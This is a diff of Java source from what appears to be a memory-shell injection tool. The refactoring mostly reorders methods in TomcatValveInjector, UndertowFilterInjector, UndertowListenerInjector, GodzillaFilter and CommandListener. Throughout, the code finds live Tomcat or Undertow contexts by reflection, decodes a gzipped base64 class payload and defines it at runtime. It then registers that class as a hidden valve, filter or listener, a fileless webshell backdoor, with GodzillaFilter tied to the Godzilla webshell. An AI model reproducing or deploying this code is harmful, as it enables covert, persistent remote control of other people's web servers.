List<Object> appListeners = (List<Object>) getFV(context, "applicationEventListenersList");
|
||||
if(appListeners != null) {
|
||||
if (appListeners != null) {
|
||||
appListeners.add(listener);
|
||||
}
|
||||
}
|
||||
@@ -142,106 +245,4 @@ public class TomcatListenerInjector {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
try{
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception e){
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+103
-104
@@ -22,14 +22,6 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TomcatValveInjector {
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
new TomcatValveInjector();
|
||||
}
|
||||
@@ -50,71 +42,6 @@ public class TomcatValveInjector {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object context = null;
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5/v6/7/8
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
// 原: map.get("localhost")
|
||||
// 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
// 原: context = children.get("");
|
||||
// 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
|
||||
for (Object key1 : children.keySet()) {
|
||||
context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
// 兼容 spring boot 2.x embedded tomcat
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// 适配 tomcat v9
|
||||
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getValve(Object context) {
|
||||
Object valve = null;
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
valve = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
valve = clazz.newInstance();
|
||||
} catch (Exception e2) {
|
||||
e2.printStackTrace();
|
||||
}
|
||||
}
|
||||
return valve;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
@@ -141,37 +68,6 @@ public class TomcatValveInjector {
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context, String valveClassName) throws Exception {
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
Object[] valves = (Object[]) invokeMethod(obj, "getValves");
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(valveClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void injectValve(Object context, Object valve) throws Exception {
|
||||
if (isInjected(context, valve.getClass().getName())) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Class valveClass;
|
||||
String valveClassName = "org.apache.catalina.Valve";
|
||||
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
@@ -241,6 +137,109 @@ public class TomcatValveInjector {
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object context = null;
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5/v6/7/8
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
// 原: map.get("localhost")
|
||||
// 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
// 原: context = children.get("");
|
||||
// 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
|
||||
for (Object key1 : children.keySet()) {
|
||||
context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
// 兼容 spring boot 2.x embedded tomcat
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// 适配 tomcat v9
|
||||
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getValve(Object context) {
|
||||
Object valve = null;
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
valve = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
valve = clazz.newInstance();
|
||||
} catch (Exception e2) {
|
||||
e2.printStackTrace();
|
||||
}
|
||||
}
|
||||
return valve;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context, String valveClassName) throws Exception {
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
Object[] valves = (Object[]) invokeMethod(obj, "getValves");
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(valveClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void injectValve(Object context, Object valve) throws Exception {
|
||||
if (isInjected(context, valve.getClass().getName())) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Class valveClass;
|
||||
String valveClassName = "org.apache.catalina.Valve";
|
||||
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
ClassLoader catalinaLoader = null;
|
||||
|
||||
+20
-20
@@ -18,6 +18,26 @@ public class CommandListener implements ServletRequestListener {
|
||||
public CommandListener() {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
@@ -55,24 +75,4 @@ public class CommandListener implements ServletRequestListener {
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+38
-38
@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
|
||||
+85
-87
@@ -19,23 +19,11 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class UndertowFilterInjector {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
new UndertowFilterInjector();
|
||||
}
|
||||
|
||||
|
||||
public UndertowFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
@@ -47,79 +35,6 @@ public class UndertowFilterInjector {
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) {
|
||||
contexts.add(servletContext);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) {
|
||||
String filterClassName = filter.getClass().getName();
|
||||
try {
|
||||
if (isInjected(context, filterClassName)) {
|
||||
return;
|
||||
}
|
||||
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
|
||||
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
|
||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Map<String, Object> filters = (HashMap<String, Object>) getFV(getFV(context, "deploymentInfo"), "filters");
|
||||
if (filters != null) {
|
||||
for (Map.Entry<String, Object> filter : filters.entrySet()) {
|
||||
Class<?> filterClass = (Class<?>) getFV(filter.getValue(), "filterClass");
|
||||
if (filterClass != null) {
|
||||
if (filterClass.getName().equals(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
@@ -133,7 +48,6 @@ public class UndertowFilterInjector {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
@@ -222,4 +136,88 @@ public class UndertowFilterInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) {
|
||||
contexts.add(servletContext);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) {
|
||||
String filterClassName = filter.getClass().getName();
|
||||
try {
|
||||
if (isInjected(context, filterClassName)) {
|
||||
return;
|
||||
}
|
||||
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
|
||||
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
|
||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Map<String, Object> filters = (HashMap<String, Object>) getFV(getFV(context, "deploymentInfo"), "filters");
|
||||
if (filters != null) {
|
||||
for (Map.Entry<String, Object> filter : filters.entrySet()) {
|
||||
Class<?> filterClass = (Class<?>) getFV(filter.getValue(), "filterClass");
|
||||
if (filterClass != null) {
|
||||
if (filterClass.getName().equals(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
+77
-79
@@ -17,14 +17,6 @@ import java.util.zip.GZIPInputStream;
|
||||
public class UndertowListenerInjector {
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
new UndertowListenerInjector();
|
||||
}
|
||||
@@ -41,76 +33,6 @@ public class UndertowListenerInjector {
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) {
|
||||
contexts.add(servletContext);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) {
|
||||
try {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
Class<?> listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
|
||||
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
|
||||
Class<?> managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
|
||||
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
List<?> allListeners = (List<?>) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
|
||||
if (allListeners != null) {
|
||||
for (Object allListener : allListeners) {
|
||||
Class<?> listener = (Class<?>) getFV(getFV(allListener, "listenerInfo"), "listenerClass");
|
||||
if (listener != null) {
|
||||
if (listener.getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
